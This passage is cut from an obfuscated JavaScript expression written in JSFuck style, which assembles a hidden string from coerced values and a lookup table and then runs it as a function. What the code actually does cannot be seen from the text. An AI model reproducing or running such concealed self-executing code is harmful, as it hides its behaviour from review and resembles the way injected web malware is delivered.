6]+$[13]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[44]+$[27]+$[26]+$[26]+$[26]+$[26]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[+[]]+$[44]+$[26]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[34]+$[44]+$[26]+$[5]+$[33]+$[47]+$[32]+$[35]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[47]+$[9]+$[6]+$[48])();